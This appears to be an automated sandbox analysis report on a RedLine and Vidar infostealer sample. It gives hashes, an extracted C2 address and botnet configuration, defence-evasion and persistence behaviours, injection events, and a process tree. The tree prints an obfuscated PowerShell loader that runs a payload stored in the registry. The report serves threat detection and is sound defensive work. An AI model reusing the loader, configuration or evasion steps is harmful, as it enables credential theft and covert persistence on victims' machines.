redline | 0dea9964c6e2ad110ad9a26a2e25417afa7b2ed990362faa746fa81cb8a303cd

Analysis

max time kernel
151s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
25/10/2022, 01:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe
Size 1.3MB
Sample221025-b61msabcbn
SHA256 0dea9964c6e2ad110ad9a26a2e25417afa7b2ed990362faa746fa81cb8a303cd
MD5 97f688358552bb8b81f51984f01b1897
SHA1 3ffb14da794c7e50f1cb1b2efa757eb0291e98d8
SHA512 a770646301b98fb45a73b2f20bbcb64f0c82aaecf43b9c4ffc7da63b66a907ef305a8724c5a4d5c636e05dcf2634f85b7abf0356899e28962ce63d1489622320
SSDEEP 24576:02CeZswR8wmEYzYUipSL72MjzdkICyasS3Ckc:02CsR8VohDsSSk
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline vidar 1707 evasion infostealer spyware stealer upx

Malware Config

Extracted

Family

redline

79.137.192.7:39946

Attributes

auth_value
14c20c41df1ffd0188544e8e2c7610d8

Extracted

Family

vidar

Version

55.2

Botnet

1707

https://t.me/slivetalks
https://c.im/@xinibin420

Attributes

profile_id
1707

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/101716-133-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 102608 created 3292	102608	WerFault.exe	32
PID 102628 created 3376	102628	WerFault.exe	31

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 96536 created 612	96536	powershell.EXE	3
PID 96520 created 612	96520	powershell.EXE	3
PID 928 created 3376	928	svchost.exe	31
PID 928 created 3292	928	svchost.exe	32

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 7 IoCs

pid	Process
1340	ofg.exe
3792	test.exe
3196	brave.exe
4788	chrome.exe
4464	GoogleUpdate.exe
96332	svcupdater.exe
96832	updater.exe

Modifies Windows Firewall 1 TTPs 3 IoCs

evasion

Modify Existing Service

T1031

pid	Process
30140	netsh.exe
30160	netsh.exe
30120	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000022f6f-161.dat	upx
behavioral2/memory/3196-168-0x00007FF7516C0000-0x00007FF751B81000-memory.dmp	upx
behavioral2/memory/3196-210-0x00007FF7516C0000-0x00007FF751B81000-memory.dmp	upx
behavioral2/files/0x0006000000022f6f-233.dat	upx
behavioral2/memory/3196-236-0x00007FF7516C0000-0x00007FF751B81000-memory.dmp	upx
behavioral2/files/0x0009000000022f80-245.dat	upx
behavioral2/memory/96832-247-0x00007FF6858F0000-0x00007FF685DB1000-memory.dmp	upx
behavioral2/files/0x0009000000022f80-567.dat	upx

Loads dropped DLL 3 IoCs

pid	Process
78784	vbc.exe
78784	vbc.exe
78784	vbc.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 4196 set thread context of 101716	4196	0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe	79
PID 4788 set thread context of 4464	4788	chrome.exe	105
PID 3196 set thread context of 89292	3196	brave.exe	135
PID 96536 set thread context of 78860	96536	powershell.EXE	146
PID 3792 set thread context of 78784	3792	test.exe	145
PID 96520 set thread context of 896	96520	powershell.EXE	149
PID 96832 set thread context of 4328	96832	updater.exe	179
PID 96832 set thread context of 3520	96832	updater.exe	185

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File created	C:\Windows\GoogleUpdate.exe	chrome.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
102792	sc.exe
102852	sc.exe
78720	sc.exe
78956	sc.exe
79132	sc.exe
79564	sc.exe
102672	sc.exe
79264	sc.exe
96176	sc.exe
96912	sc.exe

Program crash 4 IoCs

pid	pid_target	Process	procid_target
8	3792	WerFault.exe	93
96348	3792	WerFault.exe	93
102732	3376	WerFault.exe	31
102784	3292	WerFault.exe	32

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vbc.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2860	schtasks.exe
4084	SCHTASKS.exe
1988	SCHTASKS.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
96540	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
101716	AppLaunch.exe
101716	AppLaunch.exe
2184	powershell.exe
2184	powershell.exe
65032	powershell.exe
65032	powershell.exe
78508	powershell.exe
78508	powershell.exe
89316	powershell.exe
89316	powershell.exe
96536	powershell.EXE
96520	powershell.EXE
96536	powershell.EXE
96520	powershell.EXE
96536	powershell.EXE
78860	dllhost.exe
78860	dllhost.exe
78860	dllhost.exe
96520	powershell.EXE
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
78784	vbc.exe
78784	vbc.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe
896	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2792	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	101716	AppLaunch.exe
Token: SeDebugPrivilege	1340	ofg.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	65032	powershell.exe
Token: SeDebugPrivilege	78508	powershell.exe
Token: SeShutdownPrivilege	78768	powercfg.exe
Token: SeCreatePagefilePrivilege	78768	powercfg.exe
Token: SeShutdownPrivilege	78932	powercfg.exe
Token: SeCreatePagefilePrivilege	78932	powercfg.exe
Token: SeShutdownPrivilege	79076	powercfg.exe
Token: SeCreatePagefilePrivilege	79076	powercfg.exe
Token: SeShutdownPrivilege	79212	powercfg.exe
Token: SeCreatePagefilePrivilege	79212	powercfg.exe
Token: SeIncreaseQuotaPrivilege	78508	powershell.exe
Token: SeSecurityPrivilege	78508	powershell.exe
Token: SeTakeOwnershipPrivilege	78508	powershell.exe
Token: SeLoadDriverPrivilege	78508	powershell.exe
Token: SeSystemProfilePrivilege	78508	powershell.exe
Token: SeSystemtimePrivilege	78508	powershell.exe
Token: SeProfSingleProcessPrivilege	78508	powershell.exe
Token: SeIncBasePriorityPrivilege	78508	powershell.exe
Token: SeCreatePagefilePrivilege	78508	powershell.exe
Token: SeBackupPrivilege	78508	powershell.exe
Token: SeRestorePrivilege	78508	powershell.exe
Token: SeShutdownPrivilege	78508	powershell.exe
Token: SeDebugPrivilege	78508	powershell.exe
Token: SeSystemEnvironmentPrivilege	78508	powershell.exe
Token: SeRemoteShutdownPrivilege	78508	powershell.exe
Token: SeUndockPrivilege	78508	powershell.exe
Token: SeManageVolumePrivilege	78508	powershell.exe
Token: 33	78508	powershell.exe
Token: 34	78508	powershell.exe
Token: 35	78508	powershell.exe
Token: 36	78508	powershell.exe
Token: SeIncreaseQuotaPrivilege	78508	powershell.exe
Token: SeSecurityPrivilege	78508	powershell.exe
Token: SeTakeOwnershipPrivilege	78508	powershell.exe
Token: SeLoadDriverPrivilege	78508	powershell.exe
Token: SeSystemProfilePrivilege	78508	powershell.exe
Token: SeSystemtimePrivilege	78508	powershell.exe
Token: SeProfSingleProcessPrivilege	78508	powershell.exe
Token: SeIncBasePriorityPrivilege	78508	powershell.exe
Token: SeCreatePagefilePrivilege	78508	powershell.exe
Token: SeBackupPrivilege	78508	powershell.exe
Token: SeRestorePrivilege	78508	powershell.exe
Token: SeShutdownPrivilege	78508	powershell.exe
Token: SeDebugPrivilege	78508	powershell.exe
Token: SeSystemEnvironmentPrivilege	78508	powershell.exe
Token: SeRemoteShutdownPrivilege	78508	powershell.exe
Token: SeUndockPrivilege	78508	powershell.exe
Token: SeManageVolumePrivilege	78508	powershell.exe
Token: 33	78508	powershell.exe
Token: 34	78508	powershell.exe
Token: 35	78508	powershell.exe
Token: 36	78508	powershell.exe
Token: SeIncreaseQuotaPrivilege	78508	powershell.exe
Token: SeSecurityPrivilege	78508	powershell.exe
Token: SeTakeOwnershipPrivilege	78508	powershell.exe
Token: SeLoadDriverPrivilege	78508	powershell.exe
Token: SeSystemProfilePrivilege	78508	powershell.exe
Token: SeSystemtimePrivilege	78508	powershell.exe
Token: SeProfSingleProcessPrivilege	78508	powershell.exe
Token: SeIncBasePriorityPrivilege	78508	powershell.exe
Token: SeCreatePagefilePrivilege	78508	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4196 wrote to memory of 101716	4196	0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe	79
PID 4196 wrote to memory of 101716	4196	0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe	79
PID 4196 wrote to memory of 101716	4196	0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe	79
PID 4196 wrote to memory of 101716	4196	0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe	79
PID 4196 wrote to memory of 101716	4196	0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe	79
PID 101716 wrote to memory of 1340	101716	AppLaunch.exe	89
PID 101716 wrote to memory of 1340	101716	AppLaunch.exe	89
PID 1340 wrote to memory of 1964	1340	ofg.exe	90
PID 1340 wrote to memory of 1964	1340	ofg.exe	90
PID 1964 wrote to memory of 2860	1964	cmd.exe	92
PID 1964 wrote to memory of 2860	1964	cmd.exe	92
PID 101716 wrote to memory of 3792	101716	AppLaunch.exe	93
PID 101716 wrote to memory of 3792	101716	AppLaunch.exe	93
PID 101716 wrote to memory of 3792	101716	AppLaunch.exe	93
PID 101716 wrote to memory of 3196	101716	AppLaunch.exe	96
PID 101716 wrote to memory of 3196	101716	AppLaunch.exe	96
PID 101716 wrote to memory of 4788	101716	AppLaunch.exe	98
PID 101716 wrote to memory of 4788	101716	AppLaunch.exe	98
PID 101716 wrote to memory of 4788	101716	AppLaunch.exe	98
PID 4788 wrote to memory of 2184	4788	chrome.exe	99
PID 4788 wrote to memory of 2184	4788	chrome.exe	99
PID 4788 wrote to memory of 2184	4788	chrome.exe	99
PID 4788 wrote to memory of 4084	4788	chrome.exe	102
PID 4788 wrote to memory of 4084	4788	chrome.exe	102
PID 4788 wrote to memory of 4084	4788	chrome.exe	102
PID 4788 wrote to memory of 1988	4788	chrome.exe	104
PID 4788 wrote to memory of 1988	4788	chrome.exe	104
PID 4788 wrote to memory of 1988	4788	chrome.exe	104
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4788 wrote to memory of 4464	4788	chrome.exe	105
PID 4464 wrote to memory of 30120	4464	GoogleUpdate.exe	107
PID 4464 wrote to memory of 30120	4464	GoogleUpdate.exe	107
PID 4464 wrote to memory of 30120	4464	GoogleUpdate.exe	107
PID 4464 wrote to memory of 30140	4464	GoogleUpdate.exe	108
PID 4464 wrote to memory of 30140	4464	GoogleUpdate.exe	108
PID 4464 wrote to memory of 30140	4464	GoogleUpdate.exe	108
PID 4464 wrote to memory of 30160	4464	GoogleUpdate.exe	112
PID 4464 wrote to memory of 30160	4464	GoogleUpdate.exe	112
PID 4464 wrote to memory of 30160	4464	GoogleUpdate.exe	112
PID 3196 wrote to memory of 65032	3196	brave.exe	113
PID 3196 wrote to memory of 65032	3196	brave.exe	113
PID 3196 wrote to memory of 78452	3196	brave.exe	115
PID 3196 wrote to memory of 78452	3196	brave.exe	115
PID 3196 wrote to memory of 78480	3196	brave.exe	116
PID 3196 wrote to memory of 78480	3196	brave.exe	116
PID 3196 wrote to memory of 78508	3196	brave.exe	118
PID 3196 wrote to memory of 78508	3196	brave.exe	118
PID 78452 wrote to memory of 78720	78452	cmd.exe	121
PID 78452 wrote to memory of 78720	78452	cmd.exe	121
PID 78480 wrote to memory of 78768	78480	cmd.exe	122
PID 78480 wrote to memory of 78768	78480	cmd.exe	122
PID 78480 wrote to memory of 78932	78480	cmd.exe	123
PID 78480 wrote to memory of 78932	78480	cmd.exe	123
PID 78452 wrote to memory of 78956	78452	cmd.exe	124
PID 78452 wrote to memory of 78956	78452	cmd.exe	124
PID 78480 wrote to memory of 79076	78480	cmd.exe	125
PID 78480 wrote to memory of 79076	78480	cmd.exe	125

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:400
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f134b471-660b-4e5f-9370-d8ade70af32a}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:78860
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{8b915c91-8e06-4a72-951c-fc4221ccb130}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1172
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2492
- C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
  C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
  2⤵
  - Executes dropped EXE
  PID:96332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:96520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:96536
